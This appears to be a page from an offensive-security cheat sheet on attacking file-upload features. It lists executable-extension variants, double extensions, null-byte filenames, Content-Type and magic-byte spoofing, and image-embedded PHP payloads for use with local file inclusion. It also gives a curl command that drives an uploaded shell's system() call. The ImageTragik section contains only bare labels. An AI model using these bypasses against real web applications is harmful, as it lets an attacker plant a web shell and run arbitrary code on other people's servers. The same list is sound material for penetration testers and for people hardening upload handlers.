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102 lines
2.9 KiB
Markdown
102 lines
2.9 KiB
Markdown
# Upload
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Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
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## Summary
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* [Tools](#tools)
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* [Exploits](#exploits)
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* [PHP Extension](#php-extension)
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* [Other extensions](#other-extensions)
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* [Upload tricks](#upload-tricks)
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* [Picture upload with LFI](#picture-upload-with-lfi)
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* [Configuration Files](#configuration-files)
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* [CVE - Image Tragik](#cve---image-tragik)
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* [References](#references)
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## Tools
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- [Fuxploider](https://github.com/almandin/fuxploider)
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## Exploits
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### PHP Extension
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```powershell
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.php
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.php3
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.php4
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.php5
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.php7
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Less known extensions
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.pht
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.phar
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.phpt
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.pgif
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.phtml
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.phtm
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Double extensions
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.jpeg.php
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.jpg.php
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.png.php
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```
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### Other extensions
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```powershell
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asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
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perl: .pl, .pm, .cgi, .lib
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jsp : .jsp, .jspx, .jsw, .jsv, .jspf
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Coldfusion: .cfm, .cfml, .cfc, .dbm
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```
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### Upload tricks
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- Null byte (works well against `pathinfo()`)
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* .php%00.gif
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* .php\x00.gif
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* .php%00.png
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* .php\x00.png
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* .php%00.jpg
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* .php\x00.jpg
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- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
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* `Content-Type : image/gif`
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* `Content-Type : image/png`
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* `Content-Type : image/jpeg`
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- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
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Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
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### Picture upload with LFI
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Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
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- Picture Metadata, hide the payload inside a comment tag in the metadata.
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- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
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### Configuration Files
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- .htaccess
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- web.config
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- httpd.conf
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- \_\_init\_\_.py
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### CVE - Image Tragik
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```powershell
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HTTP Request
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Reverse Shell
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Touch command
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```
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## References
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* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
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* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
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* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
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* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
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* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
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